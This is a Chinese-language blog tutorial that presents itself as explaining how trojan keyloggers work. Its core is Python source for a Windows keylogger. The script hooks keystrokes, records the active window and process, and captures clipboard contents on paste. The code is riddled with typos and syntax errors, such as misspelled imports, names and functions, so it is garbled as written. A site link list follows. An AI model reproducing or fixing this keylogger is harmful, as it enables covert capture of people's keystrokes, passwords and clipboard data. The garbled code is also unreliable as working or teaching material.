Python告诉你木马程序的键盘记录原理


Posted in Python onFebruary 02, 2019

前言

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#获取最上层的窗句柄
hwnd = user32.GetForegroundWindow()
#获取进程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def KeyStroke(event):
global current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果发现ctrl + V事件,就粘贴板内容记录下来
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循环监听下一个事件
return True
#创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
Python中比较特别的除法运算和幂运算介绍
Apr 05 Python
python制作花瓣网美女图片爬虫
Oct 28 Python
老生常谈python之鸭子类和多态
Jun 13 Python
python实现创建新列表和新字典,并使元素及键值对全部变成小写
Jan 15 Python
Python选择网卡发包及接收数据包
Apr 04 Python
Django集成搜索引擎Elasticserach的方法示例
Jun 04 Python
PYTHON绘制雷达图代码实例
Oct 15 Python
python创建ArcGIS shape文件的实现
Dec 06 Python
python实现银行实战系统
Feb 26 Python
如何使用PyCharm将代码上传到GitHub上(图文详解)
Apr 27 Python
pytorch 中autograd.grad()函数的用法说明
May 12 Python
Python 如何将integer转化为罗马数(3999以内)
Jun 05 Python
Python实现DDos攻击实例详解
Feb 02 #Python
Python实现SQL注入检测插件实例代码
Feb 02 #Python
Django uwsgi Nginx 的生产环境部署详解
Feb 02 #Python
python实现一个简单的udp通信的示例代码
Feb 01 #Python
Python读取指定日期邮件的实例
Feb 01 #Python
Python 利用切片从列表中取出一部分使用的方法
Feb 01 #Python
对pandas通过索引提取dataframe的行方法详解
Feb 01 #Python
You might like
PHP网页游戏学习之Xnova(ogame)源码解读(十)
2014/06/24 PHP
解决php 处理 form 表单提交多个 name 属性值相同的 input 标签问题
2017/05/11 PHP
node.js实现多图片上传实例
2014/06/03 Javascript
jquery获取选中的文本和值的方法
2014/07/08 Javascript
JQuery删除DOM节点的方法
2015/06/11 Javascript
angularJS Provider、factory、service详解及实例代码
2016/09/21 Javascript
ionic实现底部分享功能
2017/05/11 Javascript
Angular js 实现添加用户、修改密码、敏感字、下拉菜单的综合操作方法
2017/10/24 Javascript
微信小程序显示倒计时功能示例【测试可用】
2018/12/03 Javascript
layui使用templet格式化表格数据的方法
2019/09/16 Javascript
JS highcharts动态柱状图原理及实现
2020/10/16 Javascript
[01:57]2018DOTA2亚洲邀请赛赛前采访-iG
2018/04/03 DOTA
python 实现插入排序算法
2012/06/05 Python
Python实现的一个简单LRU cache
2014/09/26 Python
用C++封装MySQL的API的教程
2015/05/06 Python
python处理二进制数据的方法
2015/06/03 Python
Python基础中所出现的异常报错总结
2016/11/19 Python
python 动态生成变量名以及动态获取变量的变量名方法
2019/01/20 Python
windows中安装Python3.8.0的实现方法
2019/11/19 Python
Python散点图与折线图绘制过程解析
2019/11/30 Python
利用Python实现Excel的文件间的数据匹配功能
2020/06/16 Python
python中加背景音乐如何操作
2020/07/19 Python
python利用platform模块获取系统信息
2020/10/09 Python
HTML5上传文件显示进度的实现代码
2012/08/30 HTML / CSS
HTML5实现的图片无限加载的瀑布流效果另带边框圆角阴影
2014/03/07 HTML / CSS
NUK奶瓶美国官网:NUK美国
2016/09/26 全球购物
有750多个顶级品牌的瑞士时尚在线:ABOUT YOU
2017/01/04 全球购物
Dockers鞋官网:Dockers Shoes
2018/11/13 全球购物
Lookfantastic澳大利亚官网:英国知名美妆购物网站
2021/01/07 全球购物
DJI全球:DJI Global
2021/03/15 全球购物
农村产权制度改革实施方案
2014/03/21 职场文书
应届生自荐信
2014/06/30 职场文书
自我检讨书怎么写
2015/05/07 职场文书
2015年园林绿化工作总结
2015/05/23 职场文书
2015年学校政教处工作总结
2015/05/26 职场文书
Python快速实现一键抠图功能的全过程
2021/06/29 Python